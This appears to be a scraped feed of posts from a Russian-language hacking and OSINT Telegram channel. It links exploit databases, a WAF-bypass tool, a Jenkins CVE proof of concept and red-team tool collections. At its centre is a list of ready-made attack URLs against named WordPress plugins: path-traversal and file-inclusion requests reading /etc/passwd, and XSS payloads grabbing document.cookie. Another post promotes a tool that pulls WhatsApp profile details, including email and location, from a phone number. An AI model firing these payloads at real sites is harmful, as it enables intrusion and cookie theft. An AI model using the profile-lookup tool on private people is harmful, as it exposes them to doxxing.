#sqlmap #CheatSheet #By_HTB

sploitify.haxx.it

Curated list of public server-side exploits. Search by keyword, filter by vulnerability type, service affected and OS. Detailed description for each exploit (with PoC, Nuclei template or Metasploit module).

Deep Dive into Discord: OSINT Techniques (by Nina Maelainine)

- Discord Server Directories
- Bot Directories and Resources
- Specialized Tools

https://medium.com/@ninamaelainine/deep-dive-into-discord-osint-techniques-00534bf69371

#osint #socmint

https://github.com/stamparm/identYwaf

#WAF #Bypass #Tool

CVE-2024-43044 Jenkins
*
WriteUP
*
POC exploit

#jenkins

Прекрасное в мире плагинов WordPress
*
simple-image-manipulator

/wp-content/plugins/./simple-image-manipulator/controller/download.php?filepath=/etc/passwd

activehelper-livehelp

/wp-content/plugins/activehelper-livehelp/server/offline.php?MESSAGE=MESSAGE%3C%2Ftextarea%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&DOMAINID=DOMAINID&COMPLETE=COMPLETE&TITLE=TITLE&URL=URL&COMPANY=COMPANY&SERVER=SERVER&PHONE=PHONE&SECURITY=SECURITY&BCC=BCC&EMAIL=EMAIL%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&NAME=NAME%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&

amministrazione-aperta

/wp-content/plugins/amministrazione-aperta/wpgov/dispatcher.php?open=../../../../../../../../../../etc/passwd

anti-plagiarism

/wp-content/plugins/anti-plagiarism/js.php?m=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

buddypress-component-stats

/wp-content/plugins/buddypress-component-stats/lib/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd

dzs-videogallery

/wp-content/plugins/dzs-videogallery/admin/upload.php

e-search

/wp-content/plugins/e-search/tmpl/title_az.php?title_az=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

fancy-product-designer

/wp-content/plugins/fancy-product-designer/inc/custom-image-handler.php

hd-webplayer

/wp-content/plugins/hd-webplayer/playlist.php

localize-my-post

/wp-content/plugins/localize-my-post/ajax/include.php?file=../../../../../../../../../../etc/passwd

#Command_Injection #CheatSheet #By_HTB

All Red Team

Большая подборка как наступательных так для защиты инструментов, повышение привилегий Linux, Windows, сети, , бэкдоры, malware, горизонтальное, боковое движение, закрепление и т.д..

https://github.com/Ondrik8/RED-Team

#статьи_ссылки_scripts

GitHub
GitHub - Ondrik8/RED-Team
Contribute to Ondrik8/RED-Team development by creating an account on GitHub.

⚙️ Subdomain Generator

If you want to create subdomains quickly, try this site.

🔗 Source:
https://husseinphp.github.io/subdomain/

#subdomain #generator #bugbounty #web

https://osinttools.io/

Introducing OSINTtools.io: Best OSINT tools directory

Right now, its just the MVP, we are working on making it a Nextgen OSINT tools directory which will be completed soon.

#osint #socmint #osinttools #intelligence #webint #geoint

osinttools.io
Best OSINT Tools Directory
Your one-stop platform for all OSINT tools and related information.
The most up to date osint tools collection on the internet.

Telegram ≠ Анонимность

Вот и последствия визита Дурова во Францию, со всеми прелестными лозунгами "freedurov"... Как многие думаю уже могли слышать, закрылись несколько крупнейших team. Для тех кто не в теме, это команды которые занимались мошенничеством (для полных чайников). Все конечно могут связать это с долгим следствием, или великой работой органов, но к сожалению всё намного проще

Команды по обману, думаю последнее за что многим нужно переживать. Telegram уже давно используется как инструмент, с помощью которого можно достичь анонимности - но, теперь всё стало куда хуже. После поездки во Францию, Паша пришёл к соглашению с властями, условия которого гласят простую вещь: "Мы делаем запрос - ты отвечаешь". Я честно говоря сомневаюсь что данная услуга будет работать для правоохранительных органов России, но, для всего западного мира точно

Из нынешних реалий следует то, что если по вам \ вашему каналу \ вашей группе \ вашему боту сделают запрос - Telegram передаст все возможные данные органам. С одной стороны Пашу можно было понять, а со второй мне очень жаль, что Telegram теперь просто хороший мессенджер, и не более.

Паша звал нас сюда под предлогом анонимности. Но, когда количество пользователей доросло до миллиарда, Паша решил сделать пост - сказав о том, что нас всего 0.1%, а все остальные 99.9% (нормальных пользователей) не должны страдать. Конечно, мне не ясно как они страдают. Но, ясно то что анонимность в мессенджере Telegram, как и свобода слова, пошли нахуй...

From Deanon Club

whatsapp.checkleaked — OSINT утилита позволяющая получить информацию о профиле WhatsApp по номеру телефона.

- ID;
- Описание;
- Адрес электронной почты;
- Веб-сайт;
- Местоположение и т. д.

Можно использовать не только для бизнес-аккаунтов, но и для личных аккаунтов, вход в WhatsApp не требуется, работает прямо из браузера + есть API.

Сохраняем и используем бесплатно ТУТ

#soft #osint